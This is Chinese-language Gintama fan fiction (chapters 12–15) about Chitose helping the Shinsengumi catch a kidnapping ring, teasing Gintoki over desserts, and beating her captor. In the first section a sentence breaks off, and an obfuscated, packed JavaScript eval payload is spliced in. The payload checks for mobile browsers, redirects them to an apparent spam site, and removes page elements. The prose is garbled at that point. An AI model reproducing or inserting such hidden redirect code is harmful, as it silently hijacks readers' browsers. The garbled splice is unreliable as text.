「我也不确定,不过对付男人不都是那一套吗?捏造个贴合他喜好的人设,然后在他面前增加曝光率,最后再适当地製造一些破绽,让他以为自己很容易就能得手…」千茶捏着酒杯,轻描淡写地说着,另一隻手继续翻着资料。 在座的男性细细品味着她的话,不得不承认她说得一针见血。 比起他们的保守态度,千茶倒是更为进取。她认为与其畏首畏尾,不如放手一搏。 反复侦查和汇报只会浪费时间,应该在确认位置和人数后立即採取行动,一举歼灭整个组织,这样才能确保不会有更多受害者出现。 只是,理论和实际操作往往是两回事。即使是极微小的执行偏差,也可能导致完全相反的结果。 真选组在这方面已经吃过太多苦头。 「既然都知道对方的心意,那应该像个男子汉一样,一口气攻上去,难道要等到七、八十岁还完房贷去表白吗?」 她一向很喜欢用没人听得懂的比喻,但这次他们都听得出她是在嘲讽他们的畏畏缩缩。 土方眉头紧锁,被外行人对他们的工作指指点点确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940195|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实让他有些不悦,但也不得不承认对方的话有一定道理。 更莫说,在前一段时间,冲田好像也说过相类似的话。 冲田也是主攻派。应该说,他每次都是主攻派。也许正因为他的嗜战,土方总会有意无意地忽视他的意见。 至于千茶,她终究是外行人,而且她这副轻飘飘的态度,确实很让人担心。 「这可不是闹着玩的,要是哪里出错,不但你的处境会很危险,那些人质的安全也会收到威胁。」 千茶合上手中的资料,收起了平日轻浮的笑脸。 「土方先生,我也是很认真地看待这件事。」她直视他的眼睛,少有地严肃起来。 「这个组织的结构松散,处事也不够利落。就算有人质在手,面对这种蠢货,再精密的计划也比不上绝对的实力有用。我是在评估过这件事情的风险后,才答应帮忙的,别把我和那些头脑简单的傢伙相提并论。」 或许是她的目光过于锐利,土方被她盯得浑身不自在,不自觉地移开了视线。 无论是语气还是眼神,都让他们想起初次见面时,她举着木棍面对他们时的那份冷漠。 房间陷入一片沉默,最后还是千茶先开口,打破了这僵局。 「又不说话了,所以我才讨厌这么严肃的话题。」千茶说着,缓缓收回视线,声音也逐渐回温。 「嘛,说到底,我这种小市民只是配合警方的行动而已,请不要过于顾虑我。」她不疾不徐地为自己续上一杯,全然不关心对面的人有着什么反应。 当时,她之所以会答应帮忙,纯粹是想让真选组欠下她的人情,好让日后若真遇到麻烦,也能敲他们行个方便。 仅此而已。 至于那些社会责任、国家大义该如何取捨,应该全数交给领薪水的人决定。 维持治安可不是夜之女的责任。 近藤和土方正消化着她的话,作为最终决策的人,他们确实肩负着重大责任,尤其是在这些涉及道德与安危的事情上。 冲田看着她自顾自地吃着碗里的关东煮下酒,耳边再次迴响起她刚才那句话:再精密的计划也比不上绝对的实力有用。 上次在审讯室,他便察觉到,她手上有着一层茧,而且并非干普通粗活能留下的,更像是长期握持较重武器所形成的,比如武士刀。 通常在经历多年的武术训练后,无论是左撇子还是右撇子,都会锻鍊出更强健的单边握力与控制力,而这些特徵都可以从手上的痕迹看出来,但她手上的茧却呈对称分佈。 这种情况只有双手亦受过严格的训练后才会出现。 看来她口中的绝对实力,指的就是她自己。 那也难怪她会对土方的轻看生气。 他忽然想起了那个和她无数次切磋,却一直未能分出胜负的冬日,手心泛起一阵痒意。 要不找天和她再打一场吧。 近藤仍然苦恼地权衡着利害。 他能理解土方的忧虑,但千茶的观点也难以否定。若是坚持等待更多情报,可能会错失最佳时机。 土方揉了揉眉心,他和近藤交换了一个眼神,后者思索良久,最终还是点头达成了共识。 关乎到市民的生命安全,这件事必须要儘快做一个了断。 况且,他们也想相信这位多年未见的好友。 「既然如此,那我们就按照千的计划来进行吧。总悟,你有什么看法吗?」 冲田正沉浸在自己的思绪中,听到近藤喊他的名字才回过神来。他懒洋洋地瞥了一眼讨论中的三人,最后把视线落在土方脸上。 「我一直都提议快攻取胜,但土方先生始终不听我的意见,现在却突然答应了外行人的方案,这不是让我们毫无威严吗?下面的人还怎么信服我们呢。」他说着,轻叹了口气。 听见他的抱怨,土方正想为自己辩解「我…」 「为了维护真选组的威严…近藤先生,我提议让土方切腹。」冲田举着手提议。 「你这傢伙!原来是在这里等着我吗?!」 近藤已经见惯了这种情况,不以为怪。 「很好,既然总悟也同意的话,我们回去会把计划拿出来和组裏的人商讨,如无意外的话,就按原定计划的明天傍晚就开始行动。」 「明白了,我会把时间空出来的。」千茶点点头,继而举起酒杯「那么,为了预祝这次行动的成功,乾杯吧。」 另外三人以茶代酒,清脆的碰杯声在夜里格外清晰。 她喝着喝着,原本几乎全满的酒瓶,里面只剩下一半了,但她仍在为自己倒酒。 「喂,你差不多得了。」土方瞪着她倒酒的动作「要是你明天因爲宿醉影响行动,可是要切腹的。」 「好啊,那你要来替我介错哦。」 说完正事,她又变回平常的嬉皮笑脸。她没理被他堵得语塞的土方,而是转向另一边的冲田。 「对了…总悟,我再确认一下,我们的约定是算数的吧?」 「当然,你放心吧。」他的语气轻松,但眼神却正色「要是你出了什么事,我会把土方先生送去陪你的。」 千茶点点头,一边补充「还有星〇克。」 「听见了吗,土方先生,还有星〇克。」 「不如我杀了你们两个,让你们自己作伴吧。」 虽然他不知道他们做了什么约定,但恶魔与恶魔之间的协议无论如何都是普通人无法理解的危险事。 13. 就算是甜食党,偶尔也有想吃辣的时候 歌舞伎町的某处。 老旧的店面里,各式金属零件散落满地,钢铁和焊接的气味浓郁得让人怀疑这里是否真的能修理手机。 「这部手机要修理的话可不便宜呢,你还是直接买新的比较划算。」 那个脑袋亮亮的老头放下手里的检查工具,向面前的顾客说道。 千茶并未感到意外,毕竟光是那如遭雷噼般的屏幕,便已经向她做出了预示。 早些天千茶的手机坏了,上班时和阿妙提了一句。阿妙告诉她,银时有个相熟的老头对电子产品很在行,也许能帮上忙。于是她便打了通万事屋的电话,让他给自己介绍一下。 她点点头,然后从口袋中掏出昨天从近藤勋那裏收到的新手机,给他递过去。 「那麽,可以替我把资料传进新的手机里面吗?还有,裏面应该还有个跟踪器,可以帮我改为由程式控制开关吗?价钱贵一点也没关係。」 听见到最后一句,源外大叔马上亮起眼睛,接了过去爲她检查。 没想到那个总是乘机讨便宜的坂田银时,还有个那麽大方的朋友。 她提的要求并不複杂,确定机子没问题后,他便给她开了一个报价,她也没多想,爽快地付了全款。随后,源外给她开了张发票,让她一个小时后再回来拿。 银时本来在门外摆弄着大叔正在设计的新装置,看见千茶走出来后,便丢下手中的零件。 「修好了吗?」 「哪有那麽快!」源外大叔的声音喊出来「你当我是哆啦〇梦吗?!」 「嘛,旧的是修不好了,所以我让大叔帮忙把东西传到新手机去,顺便替我把新手机里的追踪器改一下,大概一个小时就…」 跟踪器? 银时眯起眼睛,质疑自己是否听错了什麽。 「等等…先别说你是不是对这个大叔太放心,让他随便翻你的手机,跟追踪器是什麽回事?」 据说这部新手机是昨天一位老朋友送给她的,但仔细想想,银时怀疑那人就是以前春他们提到的「姐姐的狗」。 欢场的女孩子有几个工具人ATM是很正常的事,但若这些ATM开始做出类似跟踪狂的行为,这不是非常危险吗? 「昨天收到的时候,手机里就已经安装好了,大概也是礼物的一部分吧?」她说得一脸天真,让银时也差点被她带偏。 「不不不,正常人可不会送跟踪器给朋友当礼物。」他摇摇头,坚持自己的观点。 千茶眨眨眼睛,同情地看着他「原来银时先生没有那种朋友吗,还真可怜呢。」 「有那种朋友的朋友的人才可怜吧!」 看着还有些时间才能拿手机,他们便在街上逛了起来, 二人漫无目的地走在街道上,总有些说不出的别扭。他们其实并不熟稔,唯一的共同话题大概就是她那已故的大哥,然而他们都不是喜欢提起逝者的人。要不然就是坂本辰马,但每次提起那傢伙都会莫名其妙地让人心累。 算了,还是什麽都不说来得好。 于是,沉默在两人之间蔓延,气氛变得愈加微妙。 直到千茶瞥见街口那家总是排着长龙的甜品店,今天竟然难得地没有人排队。 她拉了拉银时的衣袖,他转过头来,眼中闪过一丝疑惑。顺着她的视线看过去,耳边同时响起了她的声音「要去吃个下午茶吗?」 坂田银时是个甜食党,而浅井千茶也是个喜甜的。 看看着面前满满一桌的甜点,银时双眼发光,他从来都没干过那麽奢侈的事。在他犹豫着要点巧克力芭菲还是草莓蛋糕的时候,她毫不犹豫地向服务员点了半个餐牌。 「你一个人能吃得完吗?」 「我们这不是有两个人吗?」她疑惑地看着她。 她…这是请客的意思吗? 主动邀请他又自发点了餐,这绝对是请客的意思吧? 「对了,你要点饮料吗?听说这裏的奶昔也不错。」千茶说着,把饮料菜单往他面前一推。 银时瞥了一眼菜单,眼睛微微发亮,在巧克力芭菲之上,再加了一杯草莓奶昔。 她这种挥金如土点餐态度,不愧养尊处优的大小姐。 与他的狼吞虎嚥不同,她的吃相很优雅,每款甜点都会先嚐一点,喜欢的才会吃下去,不喜欢的就会放在一旁,过一阵银时就会美其名曰「免得浪费」,替她处理掉。 「这个挺好吃的,你要嚐一下吗?」她把草莓布丁推到他面前。他故意挖了很大一口,但她看见后只是笑笑,没说什麽,不像新八和神乐那样会护食、抢食。 果然,被爱和金钱滋养长大的孩子分享时从不吝惜。 正当他这样想着,下一秒就后悔了。 他还是太天真了。 一阵刺麻的痛感从舌根传来,他这才看清布丁上的果酱还有一层透明的水状液体,立刻抓着旁边的奶昔猛灌。 该死的,他竟然被她用糖衣毒药给骗了。 银时瞪向对面的女生,清澈的眸子闪烁着恶作剧得逞的光芒,手得意地挥着装有透明辣酱的瓶子。 透明可乐、透明酱油,现在连辣酱都有透明的了。 「你是想在这裏杀死我吗?」 恶魔,这个女人绝对是恶魔。 她不置可否地避开问题,又将手边的松饼推到他面前「要不要试试看这个?这个什麽都没下哦。」 「我绝对不要!」银时马上往后缩「你这傢伙平常在别人前装得人模人样的,但实际上就是个恶魔!」 千茶嘴角的笑意更浓了,又拿起一块蛋糕递过去「好啦好啦,这个真的没有下任何东西,就当是赔罪吧。」 儘管他的直觉告诉自己这可能是个陷阱,但诱人的甜食在他面前,他显然有些犹豫。刚才那股辣劲还在舌尖残留,被他拿来解辣的奶昔剩下不多了,这时候要是有些冰冰凉凉的奶油缓和一下,一定会让他好受多了。 最终,在蛋糕的诱惑与舌头灼热感的双重夹击下,银时选择了妥协。他深吸一口气,彷彿面对生死抉择般,小心翼翼地端起蛋糕碟,在眼前仔细检查。 「银时先生,做人太多疑的话很容易众叛亲离的。」 那个让他变得多疑的始作俑者还在说风凉话。 银时皱着眉,内心挣扎着是否该相信她,正常人应该不会在同一个地方放两次陷阱吧? 当然,正常人也没有会在布丁里面加透明辣酱。但是那蛋糕的奶油看起来确实诱人...最坏的状况不过是再被辣得满地打滚。 他拿着颤抖的叉子,谨慎地刮了一点奶油送进嘴巴,顺滑香甜的奶油在舌尖溶化,油脂舒缓着刚才辣酱带来的不适。看来这次她真的没耍什麽花招,银时暗自庆幸,同时也感到一丝微妙的失落。 糟糕。 那些只有抖M才会有的想法竟然出现在他身上,实在是非常不妙。 以后还是尽量避免和这个人接触吧,再这样下去,搞不好哪天他真的会被这个有着天使外表的小恶魔弄得开始享受被欺负和调戏的感觉。 他可是个铁打的甜食爱好者,痛苦和辛辣完全不符合他的人设。 银时三两口便将馀下的蛋糕嚥下,辣酱带来的烧灼感减轻不少,舌头也总算恢復了些知觉。 他半是好奇,半是警惕地盯着千茶手中的那瓶透明辣酱「这种东西到底是哪个脑子坏掉的混蛋发明出来的?」 「听说是某个医疗科技研发所的副产品,后来被调味料公司买下专利量产的。」千茶说着,悠悠地啜了口香草奶昔。 「医疗科技研发所?研究这种东西干甚麽?用来折磨病人吗!」 「据说它最初是设计来测试病人的痛觉神经反应的,后来被一家食品公司看中,收购了配方并将它改良成调味料。」 千茶说着,想起什麽又补充一句「听说某些警察部门在拷问时也会用上呢。」 「那这种东西完全就是用来折磨人的拷问道具啊!这种东西你到底怎样买到的,应该要立入监管才对吧!」 「这个也是从朋友那裏收到的礼物。」 银时皱着眉,板起一张监护人的严肃嘴脸「你就没有正常一点的朋友吗?又是放追踪器、又是给你送拷问道具的……那种心肠不好的朋友,你还是赶紧绝交吧,爸爸看见会担心的!」 「没关係,我爸也死透了。」 她的语气平淡得像在谈论天气,让银时一时语塞,但她好像并不在意对方的反应。 「顺带一提,这个朋友和给我送追踪器的大概是是同一人哦。」 「那麽更加应该要绝交!」银时喊道「会喜欢这种东西的傢伙绝对是个S,像你这种抖S就不要交S的朋友,去找M玩去。」 千茶用手撑着下巴,目不转睛地注视着他「所以我现在不就在找你玩了吗?」 「你是把我当成M了吗?我告诉你,银桑可是铁打的抖S。要是被读者看到Jump的男主角被欺负还一脸羞涩的话,单行本的销量绝对会下降的。」 「没关係的,少年漫画没你位置的话,你还可以转去当TL男主,现在ED人设挺受欢迎的。」 「现在谁是ED?!」银时猛地拍案而起。 从他气急败坏的模样看来,男人永远都会被这类话题「触动」。 「虽然最近都没什麽出场机会,但功能绝对没有任何问题!信不信我只用一个回合,就能把你的耻骨都撞个粉碎,让你躺在床上三天下不来!」 「哦?银时先生真厉害呢。」千茶不但没有因他的暴言感到冒犯,更是一脸崇拜地拍拍手。 「说得真好,现在所有人都知道你不是ED了。那麽,你要先坐下来吗?」 银时这才意识到自己站了起来,而且刚才那番豪言壮语几乎是用吼的说出来。 他迅速环顾四周,确实如千茶所说,周遭的客人都在盯着他们看,其中不乏带着暧昧和好奇的打量。他一下子像被泼了一身冷水般清醒,连忙坐回座位,在桌上支起手臂,试图遮挡週遭的视线。 「社会性死亡还真可怕呢。」 千茶感叹着,她也没放过他。 明明今天也没干些什麽,也没有宿醉,他却觉得异常地疲倦。他叹着气拾起叉子,继续刚才未吃完的甜点。 「银时先生~」 这次他已经有了防备,不会再上她的当了。 「银时先生~」 他还是装作没听见。 既然如此,她便直接把下面的话问出口。 「银时先生,今天带了多少钱出来?」 他瞬间脸色一僵「这顿……不是你请客的吗?」 「我可没说哦。一般情况下都是前辈请客的吧,再不济也是AA制不是吗?」 银时垂着脑袋,额前的卷毛盖住他的眼睛,让她看不清神情。他的脑袋快速运算着,到底是借尿遁乘机跑掉,还是直接承认自己没钱好呢,又或者…… 「要是付不起钱的话,那麽就用身体来付吧。」 女孩子的声音突然变得很近,他抬起头,发现千茶不知道什麽时候坐到他旁边。那双漂亮的眼睛直盯着他,身体靠得极近,几乎就要贴上他的手臂,颈脖后若隐若现的香水味,悄悄鑽入他的鼻腔。 在他那番发言后来这麽一齣,她绝对是不怀好意。 「你想干什麽?」 就算明知这个小恶魔在捉弄他,心还是不由自主地鼓动起来。 一定是那瓶辣椒酱带来的副作用。 「我想...」 她缓缓扶着他的肩膀,将脸凑得更近,呼吸轻轻掠过他颈侧的皮肤,让他感到一阵痒意。银时不自觉地屏住呼吸,随着她的靠近,心跳得 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「真无情,刚才还说着要把人家的耻骨都撞…」最后的字还没说出口,嘴巴就被他用手给摀得死死的。 银时恶狠狠地瞪了她一眼,手掌仍然?住她的下巴。 这种威胁的眼神对于旁人或许有用,但在千茶面前却毫无威慑力。她故意佯装受惊,无辜地眨动着眼睛,眼眶微微泛红。 这傢伙擅长利用那张乖巧精緻的脸庞让人放下防备,然后趁人不备时便开始展露真面目。 可不要被她骗了。 他在心里不停告诫自己。然而,当看见她毫无反抗、眼眶似乎含着泪水的模样,银时还是于心不忍,缓缓松开了手。 她皮肤本来就薄,肤色也浅,方才被掐住的脸颊泛着淡淡的红晕,指痕清晰可见。 银时蹙眉注视着那片红痕,心中涌起一丝后悔。就算她那张嘴不饶人,但他确实用力过猛了。平时习惯了和神乐打打闹闹,一时间忘记了普通女孩子的皮肤是那麽娇嫩。 还是夜兔好,不用他顾忌。 他下意识地伸出手,轻轻擦过那片泛红的皮肤,却被她侧过脸避开了。 糟了。 空气中瀰漫着一股尴尬的紧绷感,心底的罪恶感驱使着他试图缓和气氛。 但她似乎不打算给他这个机会,趁他分神时已经自顾自地坐回了对面的位置。 时间彷彿在这一刻停滞,她脸上的红痕如同无声的责备,让他莫名地烦躁起来。 「你还没有回答我的问题,我想知道万事屋接下来几天有没有空档?」她再次追问,语气说得很平淡,近乎不带尾音。 「有的…」他把视线拉开,揉了揉头发。 天下间的女孩子生气时似乎都是一个样。 「我有些急事要离开江户几天,我不在的时候,想请万事屋帮忙照顾春和菊。」千茶说着,从手袋裏拿出了一个信封,递到他面前「这裏是他们这段时间的生活费,剩下的就是委託的报酬。」 才刚把她惹怒了,现在就去收对方的钱,这也未免过于厚面皮了。话虽这样说,那鼓起的信封却让人移不开眼。 他犹豫了一下,但最终还是接过信封,沉甸甸的重量在手中比想像中更有说服力。他轻轻打开封口瞄了一眼,发现里面的金额远超预期。 他真该死。 都是一把年纪的大叔了,被人家小女孩嘴几句又不会少块肉。要是真惹她不高兴,以后不就少了一个豪爽又事少的大客户吗? 千茶无视掉他的欲言又止,继续说「大部分的事小春都能处理好,只是最近治安不太好,我不想他们独自在街上走动。你们只要每天接送他们上下课,吃过晚餐后将他们送回家就行了。」 银时看着信封裏的大钞,向她再次确认「这裏的钱只需要付他们的饭钱,没有其他的支出了对吧?」 千茶点了点头「我今晚就走了,一定要让他们好好吃晚饭。他们还在长身体,不能饿着。」 「那麽急吗?」 「对。最晚一周内就会回来了。如果有什麽急事,可以给我打电话;要是我在忙,就给我留言,我会尽快回复。」 他从来没接过这麽好办的差事,只需带几天乖巧的小孩,就能获得丰厚的报酬。 只不过千茶离开得这麽匆忙,总让他觉得有些不对劲 「你不会摊上什麽麻烦了吧?」 「没什麽。」她摇摇头,却再没跟他多说半句。 见时间也差不多,千茶招来服务生结账,不仅主动付了这顿饭的钱,还为新八和神乐各带了外卖,同时也没忘记帮她修理手机的大叔。 银时提着蛋糕盒与她一同走向源外的店铺,一路上,他尝试搭话缓和气氛,但每次开口都只得到她简短的「嗯」或「好」作回应。这种冷对待让他很是不爽,但因刚才的事,他又不便发作。 让他稍微好受一点的,大概只有她脸上的红印随着时间慢慢消退了。 到了源外的店舖,千茶从大叔手上取回了处理好的手机,顺道向他了解一下跟踪器的控制功能。确定一切都如自己预期后,她满意地向大叔道谢。 源外从二人进店的那刻起就感觉到一丝异样的氛围。比起一小时前,现在的银时显得格外沉默,在千茶说话时会小心翼翼地看向她,可当她察觉到他的目光转过头去时,他又会立刻移开视线。 以他对坂田银时的认识,这傢伙身边从来不缺女孩子,却几乎都只能称得上是朋友。按登势的话来说,这傢伙平常喜欢嘴砲,但要是真有谁对他感兴趣,他又避之则吉。 会让他如此坐立不安的,难道他终于也要迎来本命了吗? 还是找天向那个大婶打听一下吧。 - 14. 义工就是没薪水领的打杂 初冬的江户理应是乾燥清爽的,可是这裏却潮溼得让人浑身不利索。冰冷的地板、发霉掉灰的牆壁、带着一丝甜的霉味空气,无论哪一样都让人想吐。 千茶小声打了个喷嚏。差点忘了,还得加上山本护那傢伙糟糕的驾驶技术,以及害她宿醉加重的甜点下午茶。 等到四周只剩下规律的呼吸声和女孩子的低泣,她才睁开眼睛,小心翼翼地挪动身子坐起来。 她身处一个空旷的大房间,楼底极高,在常人够不到的地方安装了几道铁窗和抽气设备。房内除了透过铁窗洒进的月光外,再无其他照明。藉着微弱的光线,她隐约看见角落里有几个抱作一团取暖的女孩子。 她动了动手脚,手脚都被粗麻绳绑住,但绑得不是很紧,一看就知道绑的人是外行。 她举着被绑起的手,把脸凑到衣袖上擦了几下,直至土方的声音从隐藏式耳返传来。 『差不多得了,耳朵要被你吵烂了。』 她的衣袖随着动作不停擦过胸前的摄录设备,衣物磨擦的声音透过麦克风传到土方的监听耳返里。 「不是你的脸当然说得轻松。」她小声抱怨着,没有理会他的劝阻,继续擦脸。 『别抱怨了。依据你身上的定位显示,你目前在一间废弃糖果工厂里,这里极可能就是他们藏匿人质的地方。』 晃动脑袋的动作让本就叠满宿醉和晕车BUFF的千茶感到更加不适,她只好停下动作,转而研究手脚上的绳结。 『喂。你在听我说话吗?』 「在听在听。那麽接下来,你希望我怎麽做?副长先生。」 三小时前,良好市民浅井千茶为了协助真选组侦破最近频发的妇女绑架案,在一个隐蔽的茶室与真选组要员会合,进行行动前的最后部署。 根据警方的资料和千茶的了解,目标人物山本护平时在父亲的店帮忙,週末则会去「打工」。 为了即时掌握千茶那边的情况和第一手情报,真选组在她身上安装了一套最新型的无线针孔摄录机,并通过隐密式耳机与她保持联繫。 「你还有什么想问的吗?」在嘱咐一堆细项后,土方问道。 本在整理着衣领的千茶放下镜子,谨慎地看向他「要是在行动中,敌方有任何精神或物理上的损伤,我需要承担后果吗?」 「你只管保护好自己就好,真选组再不济也不会让义工背黑锅的。」土方说着,把一颗小巧的耳返抛给她「戴上。」 她照着土方的示范戴上耳返,用头发遮好,立刻听见他的声音从另一端传来。 「接下来由我负责和你沟通。你领口的摄像头除了拍摄,还有定位和收音功能。影像会即时传到我这边,你只要按照我们说好的计划行动就行了。」 这次的行动分为三个部分:千茶负责收集现场第一手情报;待时机成熟,冲田会带领手下前往现场逮捕涉案人员;而近藤则会率领部分人手营救人质。土方负责统筹联络并掌控全局,如遇任何意外将立即调配支援。 涉及商业犯罪的案子,最理想是在交易当下将买家和卖家一网打尽。这表示任务可能无法在一天内完成。 「你妹妹们那边都安顿好了吗?」 「嗯,我找了个能挡刀的保姆。」 土方挑挑眉,正要开口说些什么,就被抢先了一步。 「现在还有这种保姆啊?」刚完成小队会议的冲田朝他们走来。 「怎么,你也想请一个?」千茶问。 「不用了,我习惯拿土方先生挡刀。」 土方冷眼看着二人,明明是在说一个与他无关的话题,怎么又被他们扯到他身上了? 「你们真是烦死了。」他在菸灰缸掐熄手上的烟,抬眼看了一下时钟「时间差不多了,你准备出发吧。」 无论如何,先把其中一个打发掉再说吧。 平常闹归闹,在要事上他们还是拎得清的。千茶从榻榻米上起身,扯了扯外衣,跟前来协助的技术支援队员再次确认监听设备和摄录机是否运作正常。 「记住要留活口。」冲田嚷道,轻飘飘地补充「四肢不齐也无所谓。」 千茶笑了笑,不置可否。 「尽量吧。」 土方没理会他们的玩笑话,只是转身去和小队其他组员交代细节。 毕竟她不是专业人员,他不期望她能帮忙制服那些傢伙,只要确保自身安全就够了。 晚上九时正,千茶如常在打烊后走进一家童装成衣店里,为菊挑选了几件衣服。结帐时她与店主山本一番推让,最后他趁儿子不注意,塞给她一叠钱,说是这个月的份。 土方看着萤幕,从山本对千茶那份恭敬的态度就能看出,他们的关係绝非单纯的顾客与店家关係,更何况还有那笔可疑的钱。 也许,这个山本正是她口中那些会在月头给她「上贡」的人之一。 有别于父亲的恭敬有礼,山本护从她进店开始就向她投来充满敌意的目光。千茶早就有所察觉,但她从不在意。毕竟以她的外貌和家境,从小就习惯成为众人焦点,无论男女皆然。当中总不乏因妒忌而心生不满,或是因情感扭曲而心怀恶意的人。 但这次她没有如常装作视而不见,反而刻意上前与他搭话。他兴致缺缺,敷衍应了几句就藉故离开店铺,临走前还意味深长地偷看了她一眼。 这些都被土方捕捉得一清二楚。 那是看猎物的眼光,看来鱼儿已经上钩了。 山本护离开后,她和店主闲话家常了一阵,直至夜深才带着挑好的衣服离开店面。 她沿着街道前行,路边停着一辆小型货车。透过倒后镜,她注意到身后有一道若隐若现的身影。为了证实自己的猜测,她刻意转进一条人烟稀少的小巷。 就在这时,一隻瘦弱黝黑的手臂从暗处伸出,紧紧地箍住她的肩膀,同时另一隻手迅速地用浸过药物的手帕紧紧摀住她的口鼻。 空气中飘散着一股刺鼻的化学气味。 任人摆佈并不符合她的个人原则。 于是,她屏住呼吸,假意挣扎了几下,放松身体让自己失去平衡,整个人无力地下滑,然后阖上眼睛装作渐渐失去意识。 「婊子。」 确认她失去意识后,男人吃力地将她扛上肩,跌跌撞撞地走向不远处停泊的深色小货车。他粗暴地把她扔进后座的货物区,用粗绳绑住她的手脚,这才关上车尾箱回到驾驶席。 『喂,你没事吧?』土方的声音从耳机传来。 趁着山本护忙着启动引擎时,千茶用手指反复遮盖领口的镜头,向那边的人示意平安。 整趟车程,她都维持着昏迷的姿态,随着车子的转弯和 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他们透过千茶身上的摄录机追踪她的位置,并将车队分成几个小队,伪装成普通车辆以避人耳目。 『我们正在路上,在我们赶到之前,千万别轻举妄动。』土方再三叮嘱,而千茶则是轻哼了一句作回应。 借着月光,她谨慎地扫视四周,评估房间的布局和其他女孩子的状况。就在她准备解开脚上的束缚时,一阵沉重的脚步声从远处逼近。 千茶立即躺回地上,装作昏迷不醒。其他女孩都屏住了呼吸,房间瞬间陷入一片死寂。伴随着钥匙转动的声响,一道刺目的光线从门缝中透了进来。 高大的身影挡在门口,逆光中看不清他的脸。男人走进房间,手里拿着一个手电筒,光束在房间里扫视着,最后停在千茶脸上停留了几秒。 「这批货看起来都不错。」那人低声说道,声音中带着一丝得意,接着朝着身后的人吩咐「准备一下,买家已经在路上了。」 「好的,老大。」 她立刻认出那个狗腿子的嗓音就是把她绑来的山本护。 不久后,挡在门口的男人便离开了。山本留了下来,关上房间的大门,借着手电筒的光找到电源开关,房间一角随即亮起微弱的灯光。 山本的脚步声渐近,千茶顺势装作迷药刚醒,迷迷糊糊地睁开眼睛,茫然地望着面前的男人。 「哟……你醒了,还以为你会再睡一会呢。」男人的声音里尽是幸灾乐祸。 既然要装,那就得装到底。 千茶咳了两声,一边眯着眼睛一边用略带沙哑的声音开口「…这道声音,是阿护先生吗?这里是什麽地方?」 山本冷笑一声,走到她面前蹲下。 「猜得挺好的,但我可不像我爸那麽好骗。」他说着,一手捏住她的下颚,强迫她与自己对视「像你这种不知廉耻的女人就该被卖到宇宙去,免得玷汙我们的国家。」 比起那些像最终章反派般的长篇大论,她更想知道现今的男人为什麽这麽热衷捏女孩子的脸,而且还下手这麽重。不过从他眼中的恨意来看,用来对付坂田银时的那套招数大概对他不管用。 这麽,她倒是想直接动手揍他一顿。 15. 女孩子的脸是珍贵的艺术品,触碰禁止!^^…… 千茶想了很久,也想不出自己到底干了什么不知廉耻得至于玷污国家的事。顶多就是偶尔开开黄腔、在人前嘴炮几句,喜欢收集R18的物品而已。 要真要说玷污国家,那些满嘴仁义道德却干尽肮脏勾当的人才更该被谴责。 就像是面前这个。 「你还想装无辜吗?」 她眨眨眼睛,眼里比起怯意,更多是好奇。她并非在装无辜,而是真的对他的话毫无头绪。 即使没有Boss的气势,外形上也拿不出手,山本护姑且还算是个反派(杂鱼)。 仇人在前,他开始阐述起自己的背景故事。 千茶在打游戏的时候总喜欢跳过这个部分,不过这次看来是无法跳过了。 「当年我母亲重病住院,虽然治疗没什么起色,但病情还算能控制,直到…我爸遇见你。你怂恿他放弃治疗,我妈死后还一直缠着他,每个月从他那儿拿钱……现在居然还有脸在这里装可怜!」 有点难搞。 看来这家伙觉得她是介入他父母的第三者,还为了钱害死了他妈,好让自己上位。 「你是不是有什么误会?先说明,我虽然在〇癖方面的接受能力挺广的,但对〇〇都软掉的老男人可是一点兴趣都没有。」千茶平静地说着,丝毫不在意还有别人在监听。 监听中的土方被迫听着这些不堪入耳的话,忍不住扶额。她的话一次比一次糙,难道现在的世家大族都是这样教养女孩子的吗? 「在你母亲的是上,我确实劝了几句,可我并没有缠着他拿钱,而是反过来,他总缠着我、给我塞钱,说要当我的狗。」她不紧不慢地说道,无论是态度还是内容,也无疑让他更加火大。 她和山本大叔的相遇是在那个暗无天日的擂台上。 台柱白天狗只用两招就击倒了新来的菜鸟。后来,她将奄奄一息的男人送到医馆医治,等药效过去,男人恢复意识,千茶这才听说他是为了筹措妻子的药费才上的擂台。 他的妻子得了一个在地球上很罕见的重病,以当时的医疗科技而言,早已是药石无灵,药物只能勉强吊着生命,却同时为她带来更多生不如死的痛苦。 最终,山本决定遵从妻子的意愿,放弃治疗。 在这件事上,千茶只是在大叔钻牛角尖时随口劝了他两句,让他尊重妻子的意愿而已。谁知这段对话恰好被山本护听见,让她因为一时的多管闲事,意外卷入了这场家庭悲剧。 她大概是全宇宙最不幸的美少女。 父亲说得对,东西真的不能乱捡。 山本加重了手上的力度,却在此时,手腕处传来一阵剧痛。低头一看,绑在她双手的绳结早已松开,她正紧捏着他的手腕,指甲准确地压在神经上,痛楚与痺感迫使他松开了掐着她脸的手。 但千茶丝毫没有松手的意思。 碍于面子,他拼命压低声音,耳朵憋得通红,挣扎着想要脱身。 「我对别人的家务事没兴趣,不过看在你父亲这些年都还算听话的份上,我不介意替他管教管教儿子。」她坐在地上,虽是个被掳回来的人质,眼神却带着高高在上的怜悯。 「第一课,在清楚事情的全貌前,别妄下判断。」 「第二课,作出任何决定前,都必须做好承担后果的准备。」她一字一句地说道,手上的力度又加重了几分。 男人的惨叫声贯彻整个房间。 千茶瞥见角落里缩成一团的女孩们,一个个都露出惊恐的眼神,让她心中一阵烦躁。真是莫名其妙,她明明是在帮她们。 「第三课,无论出于什么理由,伤害无辜就是恶行。」她注视着指甲尖端渗出的血液,这才松开了手。 山本蜷缩着身子,把受伤的手按在地上,用身体护得死死,生怕她再次对自己下手。千茶捏起他的衣角,仔细擦拭指甲上的血迹,接着三两下便解开了脚上的绳索。 她缓缓站起身,因为低血压晃了两下,站稳后一脚踩上山本的背部,将他牢牢压制在地上「最后,小看女孩子是会倒大霉的。」 山本在她的脚下挣扎着,发出支离破碎的啜泣。她移开了踩在他身上的脚,然后往他的腰腹狠狠踹了几脚。 「让你碰我的脸,知道现在的化妆品多贵吗?」 「擡个人也没力,车又不会驶,学什么人当人贩子!」 她每说一句,就加大一点力度。 